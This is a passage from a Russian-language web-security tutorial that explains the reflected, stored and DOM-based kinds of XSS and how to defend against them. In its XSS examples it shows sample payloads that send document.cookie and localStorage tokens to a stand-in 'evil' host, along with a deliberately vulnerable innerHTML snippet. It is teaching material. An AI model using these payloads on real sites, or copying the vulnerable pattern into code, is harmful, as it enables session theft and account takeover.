Перейти к содержимому

Веб-безопасность: XSS, CSRF, CORS, SQL-инъекции и OWASP Top 10

В краткой версии ты получил чек-лист: Helmet, Zod, параметризованные запросы, rate limit. Чек-лист хорош как стартовая линия обороны, но плох как понимание: на собеседовании спросят «почему CSP закрывает XSS, если есть DOM-based инъекция», а пентестер найдёт CORS-конфиг, который ты считал безопасным. Эта глава — разбор механики атак и защит: что именно происходит в браузере, где граница ответственности фронтенда и бэкенда, и как каждая защита ломается, если её поставить неправильно.

XSS — исполнение чужого JavaScript в контексте твоей страницы. Различают три пути, которым инъекция попадает в DOM.

Отражённая (reflected). Зловредный скрипт в URL/параметре отражается сервером в ответе немедленно:

https://app.example.com/search?q=<script>fetch('//evil/'+document.cookie)</script>

Работает, если сервер вставляет q в HTML без экранирования. Классическая дыра шаблонизаторов эпохи серверного рендеринга.

Хранимая (stored). Скрипт сохраняется в базе (комментарий, имя пользователя, описание товара) и выполняется у каждого, кто откроет страницу. Самая опасная разновидность: жертва ничего «не делала», просто смотрела контент, а XSS сидит у него в сессии.

DOM-based. Уязвимость целиком на клиенте: JS читает location.hash/document.referrer и пишет в DOM через innerHTML:

// ДЫРА: document.write(location.hash) или:
el.innerHTML = `<p>Результат: ${new URLSearchParams(location.search).get('q')}</p>`;
// payload: ?q=<img src=x onerror=fetch('//evil/'+localStorage.token)>

React/Vue экранируют текстовые интерполяции по умолчанию, но три двери остаются открытыми: dangerouslySetInnerHTML без санитайзера, javascript: в href из пользовательских данных, ручной innerHTML. Лечение — санитайзер (DOMPurify.sanitize(html)) и запрет на инлайн-обработчики через CSP.